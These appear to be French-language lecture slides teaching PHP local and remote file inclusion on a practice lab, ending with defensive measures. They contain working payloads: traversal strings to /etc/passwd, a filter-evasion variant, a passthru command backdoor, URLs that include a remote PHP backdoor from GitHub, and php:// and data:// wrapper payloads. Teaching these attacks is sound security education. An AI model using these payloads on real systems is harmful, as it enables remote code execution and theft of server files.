-
Vincent Mazenod authoredVincent Mazenod authored
- File Inclusion
- aka LFI / RFI
- File Inclusion
- File Inclusion / types
- LFI / low
- LFI / low
- RFI
- RFI / low
- FI / payloads / backdoor
- RFI / payloads / backdoor
- RFI / security medium
- LFI / security medium
- LFI / security high
- open_base_dir
- open_base_dir
- realpath() and basename()
- realpath() and basename()
- Se préserver
File Inclusion
aka LFI / RFI
/
tapez <prez>.html?<username-uca>
dans votre navigateur pour suivre le cours avec votre nom de vm
File Inclusion
- paramètres HTTP non filtrés
include($_REQUEST['filename']);
-
permet
- d'exécuter du code distant
- d'exécuter du code localement
- accéder à des fichiers locaux sensibles
-
concerne include, include_once, require, require_once, fopen
File Inclusion / types
- Local File inclusion
- Remote File inclusion
LFI / low
-
souvent appelé Directory traversal
-
permet d'accéder à des fichiers sensibles
-
marche aussi avec
/etc/hosts
,~/.bashrc
,~/.bash_history
... -
marche pas avec
/etc/shadow
Note:
- open base dir
- pas ou mal configiuré
- par défaut ispconfig
- anciennement safe_mode
LFI / low
- paths absolus / paths relatifs (../.. ou ..\..)
- linux
/etc/passwd
,../../../../../etc/hosts
- windows
c:\boot.ini
,c:\windows
,c:\windows\system32\drivers\etc\hosts
-
/?page=index.php
- boucle infinie = ca marche
- invalider par (include|require)_once
- boucle infinie = ca marche
RFI
-
inclusion de code arbitraire
- Backdoor ou Remote shell
-
dépend de la configuration de php
/etc/php/7.4/apache2/php.ini
allow_url_include=On # just for test purpose
$ sudo systemctl restart apache2
certains produits PHP nécessitent cette option!
RFI / low
-
- drôle mais pas très utile
-
https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php
FI / payloads / backdoor
- Basiquement permet d'exécuter du code et / ou des commandes systèmes
- version artisanale
echo passthru($_GET['cmd']);
- version plus robuste
- version artisanale
RFI / payloads / backdoor
-
/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php
-
/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls
-
/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls
RFI / security medium
$file = str_replace(
array( "http://", "https://" ),
"",
$file
);
-
/?page=hthttp://tp://www.google.fr
- échapper l'échappement
-
/?page=php://filter/convert.base64-encode/resource=file1.php
- récupère le code source php du fichier file1.php
-
/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJob3N0bmFtZSIpOyA/Pgo=
- exécute
<?php system("hostname"); ?>
- exécute
Note:
- discuter la surcharge du php.ini via .htaccess
- solution ispconfig
- on reste bien sur security low pour que ca marche
LFI / security medium
$file = str_replace(
array( "../", "..\\" ),
"",
$file
);
-
/?page=../../../../../etc/hosts
- ne fonctionne plus
-
/?page=../..././..././..././..././..././etc/hosts
- permet d'échapper l'échappement
-
/?page=/etc/passwd
- Les paths absolus fonctionnent toujours
LFI / security high
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
- accès au fichier caché
- wrapper file
- le dossier file n'existe pas mais php résout tout de même
open_base_dir
- A l'appel de fonctions de type require_once ou fopen
- le chemin vers le fichier est analysé
- si le fichier est à l'extérieur des dossiers spécifiés
- PHP refuse d'y accéder
- les liens symboliques sont résolus
- il n'est pas possible d'outre-passer cette restriction avec un lien symbolique
- si le fichier est à l'extérieur des dossiers spécifiés
- le chemin vers le fichier est analysé
open_base_dir
-
.
inclue le fichier lui-même- problématique si on change le dossier courant avec chdir()
-
valeur typique
/var/www/:/usr/share/php:/tmp
Note:
- utilisé et configuré en automatique dans ISPConfig
- on peut désactiver chdir ...
realpath() and basename()
-
realpath()
- converti tous les . et .. en path absolue
- retourne null pour un path inexistant
-
basename()
- extrait la partie contenant le nom du dossier précédant directement le nom du fichier
- 2 fonctions qui combinées évitent les directory traversal
realpath() and basename()
$username = $_GET['user'];
$filename = "/home/users/".$username.".txt";
readfile($filename);
peut être sécurisé via realpath() et basename()
$username = basename(realpath($_GET['user']));
$filename = "/home/users/".$username.".txt";
readfile($filename);
ne préserve pas d'une LFI dans le même répertoire
Se préserver
- déscativer allow_url_include
- utiliser open_base_dir
- désactiver l'exécution de php sur les répertoires exposés qui n'en ont pas besoin (c.f. upload)
- filtrer ses entrées
- par listes blanches
- avec realpath() et basename()